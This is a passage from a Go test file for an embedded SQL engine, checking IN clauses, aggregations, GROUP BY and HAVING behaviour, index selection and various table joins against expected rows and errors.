err = r.Close() require.NoError(t, err) }) t.Run("in clause with invalid values should return an error", func(t *testing.T) { r, err := engine.Query(context.Background(), nil, "SELECT id, title, active FROM table1 WHERE title IN ('title0', true + 'title1')", nil) require.NoError(t, err) _, err = r.Read(context.Background()) require.ErrorIs(t, err, ErrInvalidValue) err = r.Close() require.NoError(t, err) }) t.Run("in clause should succeed reading rows NOT included in 'IN' clause", func(t *testing.T) { r, err := engine.Query(context.Background(), nil, "SELECT id, title, active FROM table1 WHERE title NOT IN ('title1', 'title0')", nil) require.NoError(t, err) for i := 2; i < rowCount; i++ { row, err := r.Read(context.Background()) require.NoError(t, err) require.NotNil(t, row) require.Equal(t, fmt.Sprintf("title%d", i), row.ValuesBySelector[EncodeSelector("", "table1", "title")].RawValue()) } err = r.Close() require.NoError(t, err) }) t.Run("in clause should succeed reading using 'IN' clause in join condition", func(t *testing.T) { r, err := engine.Query(context.Background(), nil, "SELECT * FROM table1 as t1 INNER JOIN table1 as t2 ON t1.title IN (t2.title) ORDER BY title", nil) require.NoError(t, err) for i := 0; i < rowCount; i++ { row, err := r.Read(context.Background()) require.NoError(t, err) require.NotNil(t, row) require.Equal(t, fmt.Sprintf("title%d", i), row.ValuesBySelector[EncodeSelector("", "t1", "title")].RawValue()) } err = r.Close() require.NoError(t, err) }) } func TestAggregations(t *testing.T) { engine := setupCommonTest(t) _, _, err := engine.Exec( context.Background(), nil, ` CREATE TABLE table1 ( id INTEGER, title VARCHAR, age INTEGER, active BOOLEAN, payload BLOB, PRIMARY KEY(id) ) `, nil, ) require.NoError(t, err) _, _, err = engine.Exec(context.Background(), nil, "CREATE INDEX ON table1(age)", nil) require.NoError(t, err) rowCount := 10 base := 30 nullRows := map[int]bool{ 3: true, 5: true, 6: true, } ageSum := 0 for i := 1; i <= rowCount; i++ { params := make(map[string]interface{}, 3) params["id"] = i params["title"] = fmt.Sprintf("title%d", i) if _, setToNull := nullRows[i]; setToNull { params["age"] = nil } else { params["age"] = base + i ageSum += base + i } _, _, err = engine.Exec(context.Background(), nil, "INSERT INTO table1 (id, title, age) VALUES (@id, @title, @age)", params) require.NoError(t, err) } r, err := engine.Query(context.Background(), nil, "SELECT COUNT(*) FROM table1 WHERE id < i", nil) require.NoError(t, err) _, err = r.Read(context.Background()) require.ErrorIs(t, err, ErrColumnDoesNotExist) err = r.Close() require.NoError(t, err) r, err = engine.Query(context.Background(), nil, "SELECT id FROM table1 WHERE false", nil) require.NoError(t, err) row, err := r.Read(context.Background()) require.ErrorIs(t, err, ErrNoMoreRows) require.Nil(t, row) err = r.Close() require.NoError(t, err) r, err = engine.Query(context.Background(), nil, ` SELECT COUNT(*), SUM(age), MIN(title), MAX(age), AVG(age), MIN(active), MAX(active), MIN(payload) FROM table1 WHERE false`, nil) require.NoError(t, err) row, err = r.Read(context.Background()) require.NoError(t, err) require.Equal(t, int64(0), row.ValuesBySelector[EncodeSelector("", "table1", "col0")].RawValue()) require.Equal(t, int64(0), row.ValuesBySelector[EncodeSelector("", "table1", "col1")].RawValue()) require.Equal(t, "", row.ValuesBySelector[EncodeSelector("", "table1", "col2")].RawValue()) require.Equal(t, int64(0), row.ValuesBySelector[EncodeSelector("", "table1", "col3")].RawValue()) require.Equal(t, int64(0), row.ValuesBySelector[EncodeSelector("", "table1", "col4")].RawValue()) err = r.Close() require.NoError(t, err) r, err = engine.Query(context.Background(), nil, "SELECT COUNT(*) AS c, SUM(age), MIN(age), MAX(age), AVG(age) FROM table1 AS t1", nil) require.NoError(t, err) cols, err := r.Columns(context.Background()) require.NoError(t, err) require.Len(t, cols, 5) row, err = r.Read(context.Background()) require.NoError(t, err) require.NotNil(t, row) require.Len(t, row.ValuesBySelector, 5) require.Equal(t, int64(rowCount), row.ValuesBySelector[EncodeSelector("", "t1", "c")].RawValue()) require.Equal(t, int64(ageSum), row.ValuesBySelector[EncodeSelector("", "t1", "col1")].RawValue()) require.Equal(t, int64(1+base), row.ValuesBySelector[EncodeSelector("", "t1", "col2")].RawValue()) require.Equal(t, int64(base+rowCount), row.ValuesBySelector[EncodeSelector("", "t1", "col3")].RawValue()) require.Equal(t, int64(ageSum/(rowCount-len(nullRows))), row.ValuesBySelector[EncodeSelector("", "t1", "col4")].RawValue()) _, err = r.Read(context.Background()) require.ErrorIs(t, err, ErrNoMoreRows) err = r.Close() require.NoError(t, err) } func TestCount(t *testing.T) { engine := setupCommonTest(t) _, _, err := engine.Exec(context.Background(), nil, "CREATE TABLE t1(id INTEGER AUTO_INCREMENT, val1 INTEGER, PRIMARY KEY id)", nil) require.NoError(t, err) _, _, err = engine.Exec(context.Background(), nil, "CREATE INDEX ON t1(val1)", nil) require.NoError(t, err) for i := 0; i < 10; i++ { for j := 0; j < 3; j++ { _, _, err = engine.Exec(context.Background(), nil, "INSERT INTO t1(val1) VALUES($1)", map[string]interface{}{"param1": j}) require.NoError(t, err) } } r, err := engine.Query(context.Background(), nil, "SELECT COUNT(*) as c FROM t1", nil) require.NoError(t, err) row, err := r.Read(context.Background()) require.NoError(t, err) require.EqualValues(t, uint64(30), row.ValuesBySelector["(t1.c)"].RawValue()) err = r.Close() require.NoError(t, err) //_, err = engine.Query(context.Background(), nil, "SELECT COUNT(*) as c FROM t1 GROUP BY val1", nil) //require.ErrorIs(t, err, ErrLimitedGroupBy) r, err = engine.Query(context.Background(), nil, "SELECT COUNT(*) as c FROM t1 GROUP BY val1 ORDER BY val1", nil) require.NoError(t, err) for j := 0; j < 3; j++ { row, err = r.Read(context.Background()) require.NoError(t, err) require.EqualValues(t, uint64(10), row.ValuesBySelector["(t1.c)"].RawValue()) } _, err = r.Read(context.Background()) require.ErrorIs(t, err, ErrNoMoreRows) err = r.Close() require.NoError(t, err) } func TestGroupBy(t *testing.T) { engine := setupCommonTest(t) _, _, err := engine.Exec(context.Background(), nil, "CREATE TABLE table1 (id INTEGER AUTO_INCREMENT, title VARCHAR[128], age INTEGER, active BOOLEAN, PRIMARY KEY id)", nil) require.NoError(t, err) _, _, err = engine.Exec(context.Background(), nil, "CREATE INDEX ON table1(active)", nil) require.NoError(t, err) t.Run("selecting aggregations only with empty table should return zero values", func(t *testing.T) { rows, err := engine.queryAll(context.Background(), nil, "SELECT COUNT(*), SUM(age), AVG(age), MIN(title), MAX(title) FROM table1", nil) require.NoError(t, err) require.Len(t, rows, 1) require.Equal(t, rows[0].ValuesByPosition[0].RawValue(), int64(0)) require.Equal(t, rows[0].ValuesByPosition[1].RawValue(), int64(0)) require.Equal(t, rows[0].ValuesByPosition[2].RawValue(), int64(0)) require.Equal(t, rows[0].ValuesByPosition[3].RawValue(), "") require.Equal(t, rows[0].ValuesByPosition[4].RawValue(), "") }) t.Run("query with empty table and group by should return no rows", func(t *testing.T) { rows, err := engine.queryAll(context.Background(), nil, "SELECT COUNT(*), SUM(age) FROM table1 GROUP BY title", nil) require.NoError(t, err) require.Empty(t, rows) }) t.Run("columns should appear in group by or aggregations", func(t *testing.T) { _, err = engine.queryAll(context.Background(), nil, "SELECT COUNT(*), age FROM table1", nil) require.ErrorIs(t, err, ErrColumnMustAppearInGroupByOrAggregation) _, err = engine.queryAll(context.Background(), nil, "SELECT COUNT(*), SUM(age), title FROM table1 GROUP BY active", nil) require.ErrorIs(t, err, ErrColumnMustAppearInGroupByOrAggregation) _, err = engine.queryAll(context.Background(), nil, "SELECT COUNT(*), SUM(age) FROM table1 GROUP BY active ORDER BY title", nil) require.ErrorIs(t, err, ErrColumnMustAppearInGroupByOrAggregation) _, err = engine.queryAll(context.Background(), nil, "SELECT COUNT(*), MIN(age) FROM table1 GROUP BY age ORDER BY MAX(age) DESC", nil) require.ErrorIs(t, err, ErrColumnMustAppearInGroupByOrAggregation) }) rowCount := 10 params := make(map[string]interface{}, 3) for n := 0; n < rowCount; n++ { m := n + 1 for i := 1; i <= m; i++ { active := m%2 == 0 params["title"] = fmt.Sprintf("title%d", m) params["age"] = i params["active"] = active _, _, err = engine.Exec(context.Background(), nil, "INSERT INTO table1 (title, age, active) VALUES (@title, @age, @active)", params) require.NoError(t, err) } } t.Run("simple group by", func(t *testing.T) { rows, err := engine.queryAll(context.Background(), nil, "SELECT COUNT(*) FROM table1", nil) require.NoError(t, err) require.Len(t, rows, 1) require.Equal(t, rows[0].ValuesByPosition[0].RawValue(), int64(rowCount*(rowCount+1)/2)) reader, err := engine.Query(context.Background(), nil, "SELECT title, COUNT(*), SUM(age), MIN(age), MAX(age), AVG(age) FROM table1 GROUP BY title", nil) require.NoError(t, err) specs := reader.ScanSpecs() require.NotNil(t, specs.Index) require.True(t, specs.Index.IsPrimary()) require.False(t, specs.DescOrder) rows, err = ReadAllRows(context.Background(), reader) require.NoError(t, err) require.Len(t, rows, rowCount) require.NoError(t, reader.Close()) isSorted := sort.SliceIsSorted(rows, func(i, j int) bool { res, err := rows[i].ValuesByPosition[0].Compare(rows[j].ValuesByPosition[0]) require.NoError(t, err) return res < 0 }) require.True(t, isSorted) for _, row := range rows { m, err := strconv.ParseInt(strings.TrimPrefix(row.ValuesByPosition[0].RawValue().(string), "title"), 10, 64) require.NoError(t, err) require.Equal(t, int64(m), row.ValuesByPosition[1].RawValue().(int64)) require.Equal(t, int64(m*(m+1)/2), row.ValuesByPosition[2].RawValue().(int64)) require.Equal(t, int64(1), row.ValuesByPosition[3].RawValue().(int64)) require.Equal(t, int64(m), row.ValuesByPosition[4].RawValue().(int64)) require.Equal(t, int64((m+1)/2), row.ValuesByPosition[5].RawValue().(int64)) } }) t.Run("aggregated functions with no group by", func(t *testing.T) { rows, err := engine.queryAll(context.Background(), nil, "SELECT COUNT(*) FROM table1", nil) require.NoError(t, err) require.Len(t, rows, 1) require.Equal(t, rows[0].ValuesByPosition[0].RawValue(), int64(rowCount*(rowCount+1)/2)) }) t.Run("group by with no aggregations should select distinct values", func(t *testing.T) { rows, err := engine.queryAll(context.Background(), nil, "SELECT age FROM table1 GROUP BY age", nil) require.NoError(t, err) require.Len(t, rows, rowCount) for i, row := range rows { require.Equal(t, row.ValuesByPosition[0].RawValue(), int64(i+1)) } }) t.Run("group by with order by", func(t *testing.T) { t.Run("group by fields are covered by order by fields", func(t *testing.T) { reader, err := engine.Query(context.Background(), nil, "SELECT COUNT(*), title FROM table1 GROUP BY title ORDER BY title", nil) require.NoError(t, err) specs := reader.ScanSpecs() require.NotNil(t, specs.Index) require.True(t, specs.Index.IsPrimary()) require.False(t, specs.DescOrder) orderBy := reader.OrderBy() require.Equal(t, orderBy[0].Selector(), EncodeSelector("", "table1", "title")) require.NoError(t, reader.Close()) }) t.Run("order by fields are covered by group by fields", func(t *testing.T) { reader, err := engine.Query(context.Background(), nil, "SELECT COUNT(*), age, title FROM table1 GROUP BY title, age ORDER BY title DESC", nil) require.NoError(t, err) specs := reader.ScanSpecs() require.NotNil(t, specs.Index) require.True(t, specs.Index.IsPrimary()) require.False(t, specs.DescOrder) orderBy := reader.OrderBy() require.Equal(t, orderBy[0].Selector(), EncodeSelector("", "table1", "title")) require.Equal(t, orderBy[1].Selector(), EncodeSelector("", "table1", "age")) require.NoError(t, reader.Close()) }) t.Run("order by fields dont't cover group by fields", func(t *testing.T) { reader, err := engine.Query(context.Background(), nil, "SELECT COUNT(*), age, title FROM table1 GROUP BY title, age ORDER BY age DESC, title DESC", nil) require.NoError(t, err) specs := reader.ScanSpecs() require.NotNil(t, specs.Index) require.True(t, specs.Index.IsPrimary()) require.False(t, specs.DescOrder) orderBy := reader.OrderBy() require.Equal(t, orderBy[0].Selector(), EncodeSelector("", "table1", "age")) require.Equal(t, orderBy[1].Selector(), EncodeSelector("", "table1", "title")) rows, err := ReadAllRows(context.Background(), reader) require.NoError(t, err) require.Len(t, rows, rowCount*(rowCount+1)/2) require.NoError(t, reader.Close()) isSorted := sort.SliceIsSorted(rows, func(i, j int) bool { res, err := rows[i].ValuesByPosition[1].Compare(rows[j].ValuesByPosition[1]) require.NoError(t, err) return res > 0 }) require.True(t, isSorted) for j, n := 0, 0; n < rowCount; n++ { for i := 0; i <= n; i++ { require.Equal(t, int64(rowCount-n), rows[j].ValuesByPosition[1].RawValue()) j++ } } }) t.Run("order by aggregated function", func(t *testing.T) { reader, err := engine.Query(context.Background(), nil, "SELECT COUNT(*), MAX(age) FROM table1 ORDER BY MAX(age)", nil) require.NoError(t, err) rows, err := ReadAllRows(context.Background(), reader) require.NoError(t, err) require.Len(t, rows, 1) require.Equal(t, rows[0].ValuesByPosition[0].RawValue(), int64(rowCount*(rowCount+1)/2)) require.Equal(t, rows[0].ValuesByPosition[1].RawValue(), int64(rowCount)) require.NoError(t, reader.Close()) reader, err = engine.Query(context.Background(), nil, "SELECT title, COUNT(*), SUM(age) FROM table1 GROUP BY title ORDER BY SUM(table1.age) DESC", nil) require.NoError(t, err) specs := reader.ScanSpecs() require.NotNil(t, specs.Index) require.True(t, specs.Index.IsPrimary()) require.False(t, specs.DescOrder) orderBy := reader.OrderBy() require.Equal(t, orderBy[0].Selector(), EncodeSelector("SUM", "table1", "age")) rows, err = ReadAllRows(context.Background(), reader) require.NoError(t, err) require.Len(t, rows, rowCount) require.NoError(t, reader.Close()) for i, row := range rows { n := rowCount - i require.Len(t, row.ValuesByPosition, 3) require.Equal(t, row.ValuesByPosition[0].RawValue(), fmt.Sprintf("title%d", n)) require.Equal(t, row.ValuesByPosition[1].RawValue(), int64(n)) require.Equal(t, row.ValuesByPosition[2].RawValue(), int64(n*(n+1)/2)) } }) }) _, _, err = engine.Exec(context.Background(), nil, "CREATE INDEX on table1(age)", nil) require.NoError(t, err) _, _, err = engine.Exec(context.Background(), nil, "CREATE INDEX on table1(title, age)", nil) require.NoError(t, err) _, _, err = engine.Exec(context.Background(), nil, "CREATE INDEX on table1(title, age, id)", nil) require.NoError(t, err) t.Run("group by with indexes", func(t *testing.T) { t.Run("group by covered by index", func(t *testing.T) { reader, err := engine.Query(context.Background(), nil, "SELECT title, COUNT(*) FROM table1 GROUP BY title", nil) require.NoError(t, err) defer reader.Close() rows, err := ReadAllRows(context.Background(), reader) require.NoError(t, err) require.Len(t, rows, rowCount) specs := reader.ScanSpecs() require.NotNil(t, specs.Index) require.Len(t, specs.Index.cols, 2) require.Equal(t, specs.Index.cols[0].Name(), "title") require.Equal(t, specs.Index.cols[1].Name(), "age") for _, row := range rows { m, err := strconv.ParseInt(strings.TrimPrefix(row.ValuesByPosition[0].RawValue().(string), "title"), 10, 64) require.NoError(t, err) require.Equal(t, row.ValuesByPosition[1].RawValue().(int64), m) } }) t.Run("group by and order by covered by index", func(t *testing.T) { reader, err := engine.Query(context.Background(), nil, "SELECT COUNT(*), title, age, id FROM table1 GROUP BY title, age, id ORDER BY title DESC, id ASC, age ASC", nil) require.NoError(t, err) defer reader.Close() rows, err := ReadAllRows(context.Background(), reader) require.NoError(t, err) require.Len(t, rows, rowCount*(rowCount+1)/2) specs := reader.ScanSpecs() require.NotNil(t, specs.Index) require.Len(t, specs.Index.cols, 3) require.Equal(t, specs.Index.cols[0].Name(), "title") require.Equal(t, specs.Index.cols[1].Name(), "age") require.Equal(t, specs.Index.cols[2].Name(), "id") for _, row := range rows { require.Equal(t, row.ValuesByPosition[0].RawValue().(int64), int64(1)) } checkRowsAreSorted(t, rows, []string{EncodeSelector("", "table1", "title"), EncodeSelector("", "table1", "age"), EncodeSelector("", "table1", "id")}, []int{-1, 1, 1}, "table1") }) t.Run("index covers group by but not order by", func(t *testing.T) { reader, err := engine.Query(context.Background(), nil, "SELECT COUNT(*), title, age FROM table1 GROUP BY title, age ORDER BY age DESC", nil) require.NoError(t, err) defer reader.Close() rows, err := ReadAllRows(context.Background(), reader) require.NoError(t, err) require.Len(t, rows, rowCount*(rowCount+1)/2) specs := reader.ScanSpecs() require.NotNil(t, specs.Index) require.Len(t, specs.Index.cols, 2) require.Equal(t, specs.Index.cols[0].Name(), "title") require.Equal(t, specs.Index.cols[1].Name(), "age") for _, row := range rows { require.Equal(t, row.ValuesByPosition[0].RawValue().(int64), int64(1)) } checkRowsAreSorted(t, rows, []string{EncodeSelector("", "table1", "age")}, []int{-1}, "table1") }) t.Run("preferred index doesn't cover group by and order by", func(t *testing.T) { reader, err := engine.Query(context.Background(), nil, "SELECT COUNT(*), title, age FROM table1 USE INDEX ON(age) GROUP BY title, age ORDER BY age DESC", nil) require.NoError(t, err) defer reader.Close() specs := reader.ScanSpecs() require.NotNil(t, specs.Index) require.Len(t, specs.groupBySortExps, 2) require.Len(t, specs.orderBySortExps, 1) require.Len(t, specs.Index.cols, 1) require.Equal(t, specs.Index.cols[0].Name(), "age") rows, err := ReadAllRows(context.Background(), reader) require.NoError(t, err) require.Len(t, rows, rowCount*(rowCount+1)/2) for _, row := range rows { require.Equal(t, row.ValuesByPosition[0].RawValue().(int64), int64(1)) } checkRowsAreSorted(t, rows, []string{EncodeSelector("", "table1", "age")}, []int{-1}, "table1") }) t.Run("index covers group by and order by because of unitary filter", func(t *testing.T) { reader, err := engine.Query(context.Background(), nil, fmt.Sprintf("SELECT COUNT(*), title, age FROM table1 WHERE title = 'title%d' GROUP BY title, age ORDER BY age DESC", rowCount), nil) require.NoError(t, err) defer reader.Close() specs := reader.ScanSpecs() require.NotNil(t, specs.Index) require.Len(t, specs.groupBySortExps, 0) require.Len(t, specs.orderBySortExps, 0) require.Len(t, specs.Index.cols, 2) require.Equal(t, specs.Index.cols[0].Name(), "title") require.Equal(t, specs.Index.cols[1].Name(), "age") rows, err := ReadAllRows(context.Background(), reader) require.NoError(t, err) require.Len(t, rows, rowCount) expectedTitle := fmt.Sprintf("title%d", rowCount) for i, row := range rows { require.Equal(t, row.ValuesByPosition[0].RawValue().(int64), int64(1)) require.Equal(t, row.ValuesByPosition[1].RawValue().(string), expectedTitle) require.Equal(t, row.ValuesByPosition[2].RawValue().(int64), int64(rowCount-i)) } }) }) t.Run("group by with subquery", func(t *testing.T) { reader, err := engine.Query(context.Background(), nil, fmt.Sprintf("SELECT COUNT(*), title FROM (SELECT * FROM table1 WHERE title = 'title%d') GROUP BY title", rowCount), nil) require.NoError(t, err) defer reader.Close() rows, err := ReadAllRows(context.Background(), reader) require.NoError(t, err) require.Len(t, rows, 1) require.Equal(t, rows[0].ValuesByPosition[0].RawValue(), int64(rowCount)) }) } func TestGroupByHaving(t *testing.T) { engine := setupCommonTest(t) _, _, err := engine.Exec(context.Background(), nil, "CREATE TABLE table1 (id INTEGER, title VARCHAR, age INTEGER, active BOOLEAN, PRIMARY KEY id)", nil) require.NoError(t, err) _, _, err = engine.Exec(context.Background(), nil, "CREATE INDEX ON table1(active)", nil) require.NoError(t, err) rowCount := 10 base := 40 for i := 0; i < rowCount; i++ { params := make(map[string]interface{}, 4) params["id"] = i params["title"] = fmt.Sprintf("title%d", i) params["age"] = base + i params["active"] = i%2 == 0 _, _, err = engine.Exec(context.Background(), nil, "INSERT INTO table1 (id, title, age, active) VALUES (@id, @title, @age, @active)", params) require.NoError(t, err) } _, err = engine.Query(context.Background(), nil, "SELECT active, COUNT(*), SUM(age1) FROM table1 WHERE active != null HAVING AVG(age) >= MIN(age)", nil) require.ErrorIs(t, err, ErrHavingClauseRequiresGroupClause) r, err := engine.Query(context.Background(), nil, ` SELECT active, COUNT(*), SUM(age1) FROM table1 WHERE active != null GROUP BY active HAVING AVG(age) >= MIN(age) ORDER BY active`, nil) require.ErrorIs(t, err, ErrColumnDoesNotExist) require.Nil(t, r) r, err = engine.Query(context.Background(), nil, ` SELECT active, COUNT(*), SUM(age1) FROM table1 WHERE AVG(age) >= MIN(age) GROUP BY active ORDER BY active`, nil) require.ErrorIs(t, err, ErrColumnDoesNotExist) require.Nil(t, r) r, err = engine.Query(context.Background(), nil, "SELECT active, COUNT(id) FROM table1 GROUP BY active ORDER BY active", nil) require.NoError(t, err) _, err = r.Read(context.Background()) require.ErrorIs(t, err, ErrLimitedCount) err = r.Close() require.NoError(t, err) r, err = engine.Query(context.Background(), nil, ` SELECT active, COUNT(*) FROM table1 GROUP BY active HAVING AVG(age) >= MIN(age1) ORDER BY active`, nil) require.NoError(t, err) _, err = r.Read(context.Background()) require.ErrorIs(t, err, ErrColumnDoesNotExist) err = r.Close() require.NoError(t, err) r, err = engine.Query(context.Background(), nil, ` SELECT active, COUNT(*) as c, MIN(age), MAX(age), AVG(age), SUM(age) FROM table1 GROUP BY active HAVING COUNT(*) <= SUM(age) AND MIN(age) <= MAX(age) AND AVG(age) <= MAX(age) AND MAX(age) < SUM(age) AND AVG(age) >= MIN(age) AND SUM(age) > 0 ORDER BY active DESC`, nil) require.NoError(t, err) _, err = r.Columns(context.Background()) require.NoError(t, err) for i := 0; i < 2; i++ { row, err := r.Read(context.Background()) require.NoError(t, err) require.NotNil(t, row) require.Len(t, row.ValuesBySelector, 6) require.Equal(t, i == 0, row.ValuesBySelector[EncodeSelector("", "table1", "active")].RawValue()) require.Equal(t, int64(rowCount/2), row.ValuesBySelector[EncodeSelector("", "table1", "c")].RawValue()) if i%2 == 0 { require.Equal(t, int64(base), row.ValuesBySelector[EncodeSelector("", "table1", "col2")].RawValue()) require.Equal(t, int64(base+rowCount-2), row.ValuesBySelector[EncodeSelector("", "table1", "col3")].RawValue()) } else { require.Equal(t, int64(base+1), row.ValuesBySelector[EncodeSelector("", "table1", "col2")].RawValue()) require.Equal(t, int64(base+rowCount-1), row.ValuesBySelector[EncodeSelector("", "table1", "col3")].RawValue()) } } err = r.Close() require.NoError(t, err) } func TestJoins(t *testing.T) { engine := setupCommonTest(t) _, _, err := engine.Exec(context.Background(), nil, "CREATE TABLE table1 (id INTEGER, title VARCHAR, fkid1 INTEGER, fkid2 INTEGER, PRIMARY KEY id)", nil) require.NoError(t, err) _, _, err = engine.Exec(context.Background(), nil, "CREATE TABLE table2 (id INTEGER, amount INTEGER, PRIMARY KEY id)", nil) require.NoError(t, err) _, _, err = engine.Exec(context.Background(), nil, "CREATE TABLE table3 (id INTEGER, age INTEGER, PRIMARY KEY id)", nil) require.NoError(t, err) _, _, err = engine.Exec(context.Background(), nil, "ALTER TABLE table11 RENAME TO table3", nil) require.ErrorIs(t, err, ErrTableDoesNotExist) _, _, err = engine.Exec(context.Background(), nil, "ALTER TABLE table1 RENAME TO table3", nil) require.ErrorIs(t, err, ErrTableAlreadyExists) rowCount := 10 for i := 0; i < rowCount; i++ { _, _, err = engine.Exec(context.Background(), nil, fmt.Sprintf(` UPSERT INTO table1 (id, title, fkid1, fkid2) VALUES (%d, 'title%d', %d, %d)`, i, i, rowCount-1-i, i), nil) require.NoError(t, err) _, _, err = engine.Exec(context.Background(), nil, fmt.Sprintf("UPSERT INTO table2 (id, amount) VALUES (%d, %d)", rowCount-1-i, i*i), nil) require.NoError(t, err) _, _, err = engine.Exec(context.Background(), nil, fmt.Sprintf("UPSERT INTO table3 (id, age) VALUES (%d, %d)", i, 30+i), nil) require.NoError(t, err) } t.Run("should not find any matching row", func(t *testing.T) { r, err := engine.Query(context.Background(), nil, ` SELECT table1.title, table2.amount, table3.age FROM (SELECT * FROM table2 WHERE amount = 1) INNER JOIN table1 ON table2.id = table1.fkid1 AND (table2.amount > 0 OR table2.amount > 0+1) INNER JOIN table3 ON table1.fkid2 = table3.id AND table3.age < 30`, nil) require.NoError(t, err) _, err = r.Read(context.Background()) require.ErrorIs(t, err, ErrNoMoreRows) err = r.Close() require.NoError(t, err) }) t.Run("should find one matching row", func(t *testing.T) { r, err := engine.Query(context.Background(), nil, ` SELECT t1.title, t2.amount, t3.age FROM (SELECT id, amount FROM table2 WHERE amount = 1) AS t2 INNER JOIN table1 AS t1 ON t2.id = t1.fkid1 AND t2.amount > 0 INNER JOIN table3 AS t3 ON t1.fkid2 = t3.id AND t3.age > 30`, nil) require.NoError(t, err) row, err := r.Read(context.Background()) require.NoError(t, err) require.Len(t, row.ValuesBySelector, 3) _, err = r.Read(context.Background()) require.ErrorIs(t, err, ErrNoMoreRows) err = r.Close() require.NoError(t, err) }) t.Run("should resolve every inserted row", func(t *testing.T) { r, err := engine.Query(context.Background(), nil, ` SELECT id, title, table2.amount, table3.age FROM table1 INNER JOIN table2 ON table1.fkid1 = table2.id INNER JOIN table3 ON table1.fkid2 = table3.id WHERE table1.id >= 0 AND table3.age >= 30 ORDER BY id DESC`, nil) require.NoError(t, err) cols, err := r.Columns(context.Background()) require.NoError(t, err) require.Len(t, cols, 4) for i := 0; i < rowCount; i++ { row, err := r.Read(context.Background()) require.NoError(t, err) require.NotNil(t, row) require.Len(t, row.ValuesBySelector, 4) require.Equal(t, int64(rowCount-1-i), row.ValuesBySelector[EncodeSelector("", "table1", "id")].RawValue()) require.Equal(t, fmt.Sprintf("title%d", rowCount-1-i), row.ValuesBySelector[EncodeSelector("", "table1", "title")].RawValue()) require.Equal(t, int64((rowCount-1-i)*(rowCount-1-i)), row.ValuesBySelector[EncodeSelector("", "table2", "amount")].RawValue()) require.Equal(t, int64(30+(rowCount-1-i)), row.ValuesBySelector[EncodeSelector("", "table3", "age")].RawValue()) } err = r.Close() require.NoError(t, err) }) t.Run("should return error when joining nonexistent table", func(t *testing.T) { r, err := engine.Query(context.Background(), nil, ` SELECT title FROM table1 INNER JOIN table22 ON table1.id = table11.fkid1`, nil) require.NoError(t, err) _, err = r.Read(context.Background()) require.ErrorIs(t, err, ErrTableDoesNotExist) err = r.Close() require.NoError(t, err) }) } func TestJoinsWithNullIndexes(t *testing.T) { engine := setupCommonTest(t) _, _, err := engine.Exec(context.Background(), nil, ` CREATE TABLE table1 (id INTEGER, fkid2 INTEGER, PRIMARY KEY id); CREATE TABLE table2 (id INTEGER, id2 INTEGER, val INTEGER, PRIMARY KEY id); CREATE INDEX ON table2(id2); INSERT INTO table2(id, id2, val) VALUES (1, 1, 100), (2, null, 200); INSERT INTO table1(id, fkid2) VALUES (10, 1), (20, null); `, nil) require.NoError(t, err) r, err := engine.Query(context.Background(), nil, ` SELECT table2.val FROM table1 INNER JOIN table2 ON table1.fkid2 = table2.id2 ORDER BY table1.id`, nil) require.NoError(t, err) cols, err := r.Columns(context.Background()) require.NoError(t, err) require.Len(t, cols, 1) row, err := r.Read(context.Background()) require.NoError(t, err) require.NotNil(t, row) require.Len(t, row.ValuesBySelector, 1) require.EqualValues(t, 100, row.ValuesBySelector[EncodeSelector("", "table2", "val")].RawValue()) row, err = r.Read(context.Background()) require.NoError(t, err) require.NotNil(t, row) require.Len(t, row.ValuesBySelector, 1) require.EqualValues(t, 200, row.ValuesBySelector[EncodeSelector("", "table2", "val")].RawValue()) _, err = r.Read(context.Background()) require.ErrorIs(t, err, ErrNoMoreRows) err = r.Close() require.NoError(t, err) } func TestJoinsWithJointTable(t *testing.T) { engine := setupCommonTest(t) _, _, err := engine.Exec(context.Background(), nil, "CREATE TABLE table1 (id INTEGER AUTO_INCREMENT, name VARCHAR, PRIMARY KEY id)", nil) require.NoError(t, err) _, _, err = engine.Exec(context.Background(), nil, "CREATE TABLE table2 (id INTEGER AUTO_INCREMENT, amount INTEGER, PRIMARY KEY id)", nil) require.NoError(t, err) _, _, err = engine.Exec(context.Background(), nil, "CREATE TABLE table12 (id INTEGER AUTO_INCREMENT, fkid1 INTEGER, fkid2 INTEGER, active BOOLEAN, PRIMARY KEY id)", nil) require.NoError(t, err) _, _, err = engine.Exec(context.Background(), nil, "INSERT INTO table1 (name) VALUES ('name1'), ('name2'), ('name3')", nil) require.NoError(t, err) _, _, err = engine.Exec(context.Background(), nil, "INSERT INTO table2 (amount) VALUES (10), (20), (30)", nil) require.NoError(t, err) _, _, err = engine.Exec(context.Background(), nil, "INSERT INTO table12 (fkid1, fkid2, active) VALUES (1,1,false),(1,2,true),(1,3,true)", nil) require.NoError(t, err) _, _, err = engine.Exec(context.Background(), nil, "INSERT INTO table12 (fkid1, fkid2, active) VALUES (2,1,false),(2,2,false),(2,3,true)", nil) require.NoError(t, err) _, _, err = engine.Exec(context.Background(), nil, "INSERT INTO table12 (fkid1, fkid2, active) VALUES (3,1,false),(3,2,false),(3,3,false)", nil) require.NoError(t, err) r, err := engine.Query(context.Background(), nil, ` SELECT q.name, t2.amount, t12.active FROM (SELECT * FROM table1 where name = 'name1') q INNER JOIN table12 t12 on t12.fkid1 = q.id INNER JOIN table2 t2 on t12.fkid2 = t2.id WHERE t12.active = true`, nil) require.NoError(t, err) cols, err := r.Columns(context.Background()) require.NoError(t, err) require.Len(t, cols, 3) for i := 0; i < 2; i++ { row, err := r.Read(context.Background()) require.NoError(t, err) require.NotNil(t, row) require.Len(t, row.ValuesBySelector, 3) require.Equal(t, "name1", row.ValuesBySelector[EncodeSelector("", "q", "name")].RawValue()) require.Equal(t, int64(20+i*10), row.ValuesBySelector[EncodeSelector("", "t2", "amount")].RawValue()) require.Equal(t, true, row.ValuesBySelector[EncodeSelector("", "t12", "active")].RawValue()) } err = r.Close() require.NoError(t, err) } func TestNestedJoins(t *testing.T) { engine := setupCommonTest(t) _, _, err := engine.Exec(context.Background(), nil, "CREATE TABLE table1 (id INTEGER, title VARCHAR, fkid1 INTEGER, PRIMARY KEY id)", nil) require.NoError(t, err) _, _, err = engine.Exec(context.Background(), nil, "CREATE TABLE table2 (id INTEGER, amount INTEGER, fkid1 INTEGER, PRIMARY KEY id)", nil) require.NoError(t, err) _, _, err = engine.Exec(context.Background(), nil, "CREATE TABLE table3 (id INTEGER, age INTEGER, PRIMARY KEY id)", nil) require.NoError(t, err) rowCount := 10 for i := 0; i < rowCount; i++ { _, _, err = engine.Exec(context.Background(), nil, fmt.Sprintf("UPSERT INTO table1 (id, title, fkid1) VALUES (%d, 'title%d', %d)", i, i, rowCount-1-i), nil) require.NoError(t, err) _, _, err = engine.Exec(context.Background(), nil, fmt.Sprintf("UPSERT INTO table2 (id, amount, fkid1) VALUES (%d, %d, %d)", 